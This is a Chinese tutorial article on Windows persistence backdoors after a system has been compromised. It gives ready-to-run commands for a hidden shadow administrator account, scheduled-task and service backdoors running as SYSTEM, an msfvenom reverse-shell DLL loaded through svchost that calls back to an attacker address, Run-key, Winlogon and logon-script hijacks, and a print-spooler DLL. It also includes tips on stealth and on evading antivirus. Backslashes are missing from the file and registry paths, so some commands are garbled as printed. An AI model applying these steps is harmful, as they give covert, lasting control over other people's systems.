0x00 前言
在獲取到目標(biāo)機(jī)器的權(quán)限后,如果想長時(shí)間的對目標(biāo)進(jìn)行控制,那么繞不開的一個(gè)操作就是權(quán)限持久化,為了實(shí)現(xiàn)這個(gè)目的,許許多多的后門技術(shù)應(yīng)運(yùn)而生。因此,本文對常見的系統(tǒng)后門技術(shù)進(jìn)行了總結(jié)并對其利用方式進(jìn)行了詳細(xì)的說明,希望可以對大家的學(xué)習(xí)提供一些幫助。
0x01 創(chuàng)建影子賬戶
影子賬戶其實(shí)就是隱藏賬戶,無論通過 “計(jì)算機(jī)管理” 還是命令行查詢都無法看到,只能在注冊表中找到其信息。
hacker 常常通過創(chuàng)建具有管理員權(quán)限的影子賬戶,在目標(biāo)主機(jī)上實(shí)現(xiàn)權(quán)限維持
注意需要擁有管理員級別的權(quán)限
下面來實(shí)操如何創(chuàng)建影子賬戶:
① 在目標(biāo)機(jī)創(chuàng)建一個(gè)名為 “Hack” 的賬戶
net user Hack$ 123Abc!@# /add # “$” 符號表示該用戶為隱藏賬戶,無法通過命令行查詢到,但是通過計(jì)算機(jī)管理的 “本地用戶和組” 可以看到隱藏用戶
此時(shí),Hack$ 還是標(biāo)準(zhǔn)用戶,為了使其擁有管理員級別的權(quán)限,還需要修改注冊表。
② 在注冊表中找到 HKEY_LOCAL_MACHINESAMSAM,單擊右鍵,在彈出的菜單中選擇 “權(quán)限” 選項(xiàng),將 Administrator 用戶的權(quán)限設(shè)置為 “完全控制”。
該注冊表項(xiàng)的內(nèi)容在標(biāo)準(zhǔn)用戶和管理員權(quán)限下都是不可見的
③ 在注冊表項(xiàng) HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames 處選擇 Administrator 用戶,在左側(cè)找到與右邊顯示的鍵值的類型 “0x1f4” 相同的目錄名。
復(fù)制 000001F4 表項(xiàng)的 F 屬性的值。
④ 在找到與隱藏賬戶 Hack$ 相應(yīng)的目錄 “000003EB”,將復(fù)制的 000001F4 表項(xiàng)中的 F 屬性值粘貼到 000003EB 表項(xiàng)中的 F 屬性值處,并確認(rèn)。
到此處,Hack$ 用戶劫持了 Administrator 用戶的 RID,從而使 Hack$ 用戶獲得 Administrator 用戶的權(quán)限。
⑤ 分別選中注冊表項(xiàng) “Hack$” 和 “000003EB” 并導(dǎo)出,然后執(zhí)行以下命令,刪除 Hack$ 用戶:
net user Hack$ /del
⑥ 將剛才導(dǎo)出的兩個(gè)注冊表項(xiàng)導(dǎo)入注冊表。
到此,影子賬戶 Hack$ 就創(chuàng)建好了。此時(shí)查看 “本地用戶和組” 也看不到該賬戶,只在注冊表中才能看到。
嘗試使用影子賬戶登錄遠(yuǎn)程桌面
0x02 計(jì)劃任務(wù)后門
通過創(chuàng)建計(jì)劃任務(wù),讓目標(biāo)主機(jī)在特定的時(shí)間點(diǎn)或規(guī)定的周期內(nèi)重復(fù)運(yùn)行 hacker 預(yù)先準(zhǔn)備的后門程序,從而實(shí)現(xiàn)權(quán)限持久化。
執(zhí)行以下命令,在目標(biāo)主機(jī)上創(chuàng)建一個(gè)名為 Backdoor 的計(jì)劃任務(wù),每 60 秒以 SYSTEM 權(quán)限運(yùn)行一次后門程序 shell.exe。
schtasks /Create /TN Backdoor /SC minute /MO 1 /TR C:WindowsSystem32shell.exe /RU System /F # /TN,指定要創(chuàng)建的計(jì)劃任務(wù)的名稱 # /SC,指定計(jì)劃任務(wù)執(zhí)行頻率 # /MO,指定計(jì)劃任務(wù)執(zhí)行周期 # /TR,指定計(jì)劃任務(wù)運(yùn)行的程序路徑 # /RU,指定計(jì)劃任務(wù)運(yùn)行的用戶權(quán)限 # /F,如果指定的任務(wù)已經(jīng)存在,則強(qiáng)制創(chuàng)建
注意:如果以 SYSTEM 權(quán)限運(yùn)行計(jì)劃任務(wù),就需要擁有管理員級別的權(quán)限。
當(dāng)計(jì)劃任務(wù)觸發(fā)后,目標(biāo)主機(jī)就會上線
計(jì)算機(jī)上所有的計(jì)劃任務(wù)都存儲在了 “計(jì)算機(jī)管理” 中的 “計(jì)劃任務(wù)程序庫”。
可以看到,計(jì)劃任務(wù)在 “計(jì)劃任務(wù)程序庫” 中以類似文件目錄的形式存儲,所有計(jì)劃任務(wù)都存儲在最內(nèi)層的目錄中。因此,為了增強(qiáng)隱蔽性,建議在創(chuàng)建計(jì)劃任務(wù)后門時(shí)遵守這個(gè)存儲規(guī)范。
執(zhí)行以下命令,在 MicrosoftWindowsAppTask 路徑下創(chuàng)建一個(gè)名為 “AppRun” 的計(jì)劃任務(wù)后門。
schtasks /Create /TN MicrosoftWindowsAppTaskAppRun /SC daily /ST 08:00 /MO 1 /TR C:WindowsSystem32shell.exe /RU System /F
0x03 系統(tǒng)服務(wù)后門
對于啟動類型為 “自動” 的系統(tǒng)服務(wù),hacker 可以將服務(wù)運(yùn)行的二進(jìn)制文件路徑設(shè)置為后門程序或其他攻擊載荷,當(dāng)系統(tǒng)或服務(wù)重啟時(shí),可以重新獲取對目標(biāo)主機(jī)的控制權(quán)。但是,前提條件是已經(jīng)獲取了目標(biāo)主機(jī)的管理員權(quán)限。
1. 創(chuàng)建系統(tǒng)服務(wù)
執(zhí)行以下命令,在目標(biāo)主機(jī)上創(chuàng)建一個(gè)名為 Backdoor 的系統(tǒng)服務(wù),啟動類型為 “自動”,啟動權(quán)限為SYSTEM:
sc create Backdoor binpath= "cmd.exe /k C:WindowsSystem32shell.exe" start= "auto" obj= "LocalSystem" # binpath,指定服務(wù)的二進(jìn)制文件路徑,注意 “=” 后必須有一個(gè)空格 # start,指定啟動類型 # obj,指定服務(wù)運(yùn)行的權(quán)限
系統(tǒng)或服務(wù)重啟時(shí),將以 SYSTEM 權(quán)限運(yùn)行后門程序 shell.exe,目標(biāo)主機(jī)就會上線。
2. 利用現(xiàn)有的系統(tǒng)服務(wù)
通過修改現(xiàn)有服務(wù)的配置信息,使服務(wù)啟動時(shí)運(yùn)行指定的后門程序。
hacker 可以通過 “sc config” 命令修改服務(wù)的 binpath 選項(xiàng),也可以嘗試修改服務(wù)注冊表的 ImagePath 鍵,二者都直接指定了相應(yīng)服務(wù)的啟動時(shí)運(yùn)行的二進(jìn)制文件。
① 執(zhí)行以下命令,將該服務(wù)注冊表中的 ImagePath 鍵指向預(yù)先上傳的攻擊載荷。
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRegSvc /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k C:UsersPublicshell.exe" /f
② 系統(tǒng)或服務(wù)重啟時(shí),將以 SYSTEM 權(quán)限運(yùn)行后門程序 shell.exe,目標(biāo)主機(jī)就會上線。
3. 利用 svchost.exe 啟動服務(wù)
svchost.exe 是 Windows 的系統(tǒng)文件,svchost.exe 是從動態(tài)鏈接庫(DLL)中運(yùn)行的服務(wù)的通用主機(jī)進(jìn)程名稱。該程序本身只是作為服務(wù)的宿主,許多系統(tǒng)服務(wù)通過注入該程序進(jìn)程中啟動,所以系統(tǒng)中會存在多個(gè)該程序的進(jìn)程。
在 Windows 系統(tǒng)中,需要由 svchost.exe 進(jìn)程啟動的服務(wù)將以 DLL 形式實(shí)現(xiàn)。在安裝這些服務(wù)時(shí),需要將服務(wù)的可執(zhí)行文件路徑指向 svchost.exe。在啟動這些服務(wù)時(shí),由 svchost.exe 調(diào)用相應(yīng)服務(wù)的 DLL 文件,而具體調(diào)用哪個(gè) DLL 是由該服務(wù)在注冊表的信息所決定的。
下面以 wuauserv 服務(wù)(Windows Update)為例進(jìn)行講解:
在注冊表中定位到 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetserviceswuauserv。從 imagepath 鍵值可以得知,該服務(wù)啟動的可執(zhí)行文件的路徑為 C:Windowssystem32svchost.exe -k netsvcs,說明該服務(wù)是依靠 svchost.exe 加載 DLL 文件來實(shí)現(xiàn)的。
wuauserv 服務(wù)的注冊表下還有一個(gè) Parameters 子項(xiàng),其中的 ServiceDll 鍵值表明該服務(wù)由哪個(gè) DLL 文件負(fù)責(zé)。當(dāng)服務(wù)啟動時(shí),svchost.exe 就會加載 wuaueng.dll 文件,并執(zhí)行其提供的具體服務(wù)。
注意:系統(tǒng)會根據(jù)服務(wù)可執(zhí)行文件路徑中的參數(shù)對服務(wù)進(jìn)行分組,如 C:Windowssystem32svchost.exe -k netsvcs 表明該服務(wù)屬于 netsvcs 這個(gè)服務(wù)組。通常,每個(gè) svchost 進(jìn)程負(fù)責(zé)運(yùn)行一組服務(wù)。因此,并不是每啟動一個(gè)服務(wù)就會增加一個(gè) svchost.exe 進(jìn)程。
svchost.exe 的所有服務(wù)分組位于注冊表的 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost 中。通過 svchost.exe 加載啟動的服務(wù)都要在該表項(xiàng)中注冊。
實(shí)戰(zhàn)中,hacker 可以通過 svchost.exe 加載惡意服務(wù),以此來建立持久化后門。由于惡意服務(wù)的 DLL 將加載到 svchost.exe 進(jìn)程,惡意進(jìn)程不是獨(dú)立運(yùn)行的,因此具有很高的隱蔽性。
接下來進(jìn)行實(shí)操:
① 使用 msf 生成一個(gè)負(fù)責(zé)提供惡意服務(wù)的 DLL 文件,然后將生成的 DLL 上傳到目標(biāo)主機(jī)的 System32 目錄。
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.220.132 lport=6666 -f dll > reverse_tcp.dll
② 創(chuàng)建名為 Backdoor 的服務(wù),并以 svchost 加載的方式啟動,服務(wù)分組為 netsvc
sc create Backdoor binpath= "C:Windowssystem32svchost.exe -k netsvc" start= "auto" obj= "LocalSystem"
③ 將 Backdoor 服務(wù)啟動時(shí)加載的 DLL 設(shè)為 reverse_tcp.dll
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoorParameters /v ServiceDll /t REG_EXPAND_SZ /d "C:WindowsSystem32 everse_tcp.dll"
④ 配置服務(wù)描述
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoor /v Description /t REG_SZ /d "Windows Service"
⑤ 配置服務(wù)顯示名稱
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservicesBackdoor /v DisplayName /t REG_SZ /d "Backdoor"
⑥ 創(chuàng)建服務(wù)新分組 netsvc,并將 Backdoor 服務(wù)添加進(jìn)去
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSvchost" /v netsvc /t REG_MULTI_SZ /d Backdoor
⑦ 當(dāng)系統(tǒng)重啟時(shí),Svchost 以 SYSTEM 權(quán)限加載惡意服務(wù),目標(biāo)主機(jī)就會上線。
0x04 啟動項(xiàng)/注冊表鍵后門
hacker 可以通過將后門程序添加到系統(tǒng)啟動文件夾或通過注冊表運(yùn)行鍵引用來進(jìn)行權(quán)限持久化。添加的后門程序?qū)⒃谟脩舻卿浀纳舷挛闹袉樱⑶覍⒕哂信c賬戶相關(guān)聯(lián)的權(quán)限等級。
1. 系統(tǒng)啟動文件夾
將程序放置在啟動文件夾中會導(dǎo)致該程序在用戶登錄時(shí)執(zhí)行。
Windows 系統(tǒng)有兩種常見的啟動文件夾:
# 位于以下目錄中的程序?qū)⒃谥付ㄓ脩舻卿洉r(shí)啟動 C:Users[Username]AppDataRoamingMicrosoftWindowsStart C:Users[Username]AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup # 位于以下目錄中的程序?qū)⒃谒杏脩舻卿洉r(shí)啟動 C:ProgramDataMicrosoftWindowsStart MenuProgramsStartup
嘗試將后門程序放入 hack 用戶的啟動文件夾
切換用戶登錄,成功上線
2. 運(yùn)行鍵(Run Keys)
Windows 系統(tǒng)上有許多注冊表項(xiàng)可以用來設(shè)置在系統(tǒng)啟動或用戶登錄時(shí)運(yùn)行指定的程序或加載指定 DLL 文件,hacker 可以對此類注冊表進(jìn)行濫用,以建立持久化后門。
當(dāng)用戶登錄時(shí),系統(tǒng)會依次檢查位于注冊表運(yùn)行鍵(Run Keys)中的程序,并在用戶登錄的上下文中啟動。Windows 系統(tǒng)默認(rèn)創(chuàng)建以下運(yùn)行鍵,如果修改 HKEY_LOCAL_MACHINE 下的運(yùn)行鍵,需要擁有管理員級別的權(quán)限。
# 以下注冊表項(xiàng)中的程序?qū)⒃诋?dāng)前用戶登錄時(shí)啟動 HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunOnce # 以下注冊表中的程序?qū)⒃谒杏脩舻卿洉r(shí)啟動 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeMicrosoftWindowsCurrentVersionRunOnce
執(zhí)行以下命令,在注冊表運(yùn)行鍵中添加一個(gè)名為 “Backdoor” 的鍵,并將鍵值指向后門程序的絕對路徑。
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun" /v Backdoor /t REG_SZ /d "C:WindowsSystem32shell.exe"
當(dāng)用戶重新登錄時(shí),目標(biāo)主機(jī)就會上線。
3. Winlogon Helper
Winlogon 是 Windows 系統(tǒng)的組件,用于處理與用戶有關(guān)的各種行為,如登錄、注銷、在登錄時(shí)加載用戶配置文件、鎖定屏幕等。這些行為由系統(tǒng)注冊表管理,注冊表中的一些鍵值定義了在 Windows 登錄期間會啟動哪些進(jìn)程。
hacker 可以濫用此類注冊表鍵值,使 Winlogon 在用戶登錄時(shí)執(zhí)行惡意程序,以此建立持久化后門。
常見的有以下兩個(gè):
# 指定用戶登錄時(shí)執(zhí)行的用戶初始化程序,默認(rèn)為 userinit.exe HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonUserinit # 指定 Windows 身份驗(yàn)證期間執(zhí)行的程序,默認(rèn)為 explorer.exe HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonshell
執(zhí)行以下命令,在 Userinit 鍵值中添加一個(gè)后門程序。
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon" /v Userinit /d "C:Windowssystem32userinit.exe,shell.exe" /f
當(dāng)用戶重新登錄時(shí),目標(biāo)主機(jī)就會上線。
注意:在濫用 Userinit 和 Shell 鍵時(shí)需要保留鍵值中的原有程序,將待啟動的后門程序添加到原有程序后面,并以 “,” 進(jìn)行分隔。并且,后面程序需要被上傳至 C:Windowssystem32 目錄。
4. Logon Scripts
Logon Scripts是優(yōu)先于很多殺毒軟件啟動的,所以可以通過這種方式繞過殺毒軟件敏感操作攔截。
執(zhí)行以下命令,在 HKEY_CURRENT_USER/Enviroment 下新建字符串鍵值 UserInitMprLogonScript,鍵值設(shè)置為想要執(zhí)行的程序或bat腳本的路徑:
reg add "HKEY_CURRENT_USEREnvironment" /v UserInitMprLogonScript /t REG_SZ /d "C:Windowssystem32shell.exe"
重啟系統(tǒng)或重新登陸賬戶,成功上線
0x05 Port Monitors后門
打印后臺處理服務(wù)(Print Spooler)負(fù)責(zé)管理 Windows 系統(tǒng)的打印作業(yè)。與該服務(wù)的交互是通過 Print Spooler API 執(zhí)行的,其中包含 AddMonitor 函數(shù),用于安裝 Port Monitors(本地端口監(jiān)聽器),并連接配置、數(shù)據(jù)和監(jiān)視器文件。AddMonitor 函數(shù)能夠?qū)?DLL 注入 spoolsv.exe 進(jìn)程,以實(shí)現(xiàn)相應(yīng)功能,并且通過創(chuàng)建注冊表鍵,hacker 可以在目標(biāo)系統(tǒng)上進(jìn)行權(quán)限持久化。
注意:利用該技術(shù)需要擁有管理員級別的權(quán)限。
① 通過 msf 生成一個(gè) 64 位的惡意 DLL
② 將生成的 DLL 上傳到目標(biāo)主機(jī)的 C:Windowssystem32 目錄中,執(zhí)行一下命令,通過編輯注冊表安裝一個(gè)端口監(jiān)視器。
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlPrintMonitorsTestMonitor" /v "Driver" /t REG_SZ /d "reverse_tcp.dll"
當(dāng)系統(tǒng)重啟時(shí),Print Spooler 服務(wù)在啟動過程中會讀取 Monitors 注冊表項(xiàng)的所有子健,并以 SYSTEM 權(quán)限加載 Driver 鍵值所指定的 DLL 文件。
0x06 總結(jié)
在本文的很多例子中,其實(shí)都會或多或少與一個(gè)東西有關(guān),那就是注冊表。關(guān)于注冊表,我覺得值得花時(shí)間去仔細(xì)研究一番,一定會有很大的收獲。
關(guān)于系統(tǒng)后門技術(shù)其實(shí)還有許許多多,本文只是將常見的一些技術(shù)拿出來進(jìn)行了分享,希望可以對大家的學(xué)習(xí)有幫助。如有不對,歡迎指正。
審核編輯:劉清
-
System
+關(guān)注
關(guān)注
0文章
165瀏覽量
37092 -
SAM
+關(guān)注
關(guān)注
0文章
113瀏覽量
33591 -
hacker
+關(guān)注
關(guān)注
0文章
4瀏覽量
1373
原文標(biāo)題:常見系統(tǒng)后門技術(shù)總結(jié)與分析利用
文章出處:【微信號:菜鳥學(xué)安全,微信公眾號:菜鳥學(xué)安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
相關(guān)推薦
常見的隔離技術(shù)詳細(xì)說明
進(jìn)行單片機(jī)串口通信的方式詳細(xì)說明
![<b class='flag-5'>進(jìn)行</b>單片機(jī)串口通信的<b class='flag-5'>方式</b><b class='flag-5'>詳細(xì)說明</b>](https://file.elecfans.com/web1/M00/9F/8E/pIYBAF1CmKeAN3QpAASlXcGzKiQ670.png)
51單片機(jī)中斷系統(tǒng)的原理和結(jié)構(gòu)詳細(xì)說明
![51單片機(jī)中斷<b class='flag-5'>系統(tǒng)</b>的原理和結(jié)構(gòu)<b class='flag-5'>詳細(xì)說明</b>](https://file.elecfans.com/web1/M00/AD/D3/o4YBAF3TTJOAbIpdAAHChIivfsM547.png)
AD級聯(lián)的工作方式配置和AD雙排序的工作方式配置詳細(xì)說明
![AD級聯(lián)的工作<b class='flag-5'>方式</b>配置和AD雙排序的工作<b class='flag-5'>方式</b>配置<b class='flag-5'>詳細(xì)說明</b>](https://file.elecfans.com/web1/M00/B1/8E/o4YBAF4AXj2ASdfmAAMj5R764SU992.png)
計(jì)算系統(tǒng)原理的中斷系統(tǒng)詳細(xì)說明
![計(jì)算<b class='flag-5'>系統(tǒng)</b>原理的中斷<b class='flag-5'>系統(tǒng)</b><b class='flag-5'>詳細(xì)說明</b>](https://file.elecfans.com/web1/M00/B8/C1/pIYBAF5107-AKOs8AACYzsAbCwQ125.png)
時(shí)域離散信號和系統(tǒng)的教程詳細(xì)說明
![時(shí)域離散信號和<b class='flag-5'>系統(tǒng)</b>的教程<b class='flag-5'>詳細(xì)說明</b>](https://file.elecfans.com/web1/M00/BB/5D/pIYBAF6ipiWAYu5xAAEGSSZhNhI253.png)
LabVIEW與Excel連接的教程詳細(xì)說明
![LabVIEW與Excel連接的教程<b class='flag-5'>詳細(xì)說明</b>](https://file.elecfans.com/web1/M00/BC/06/o4YBAF66GtCAKJRNAAGCnmRvapQ294.png)
評論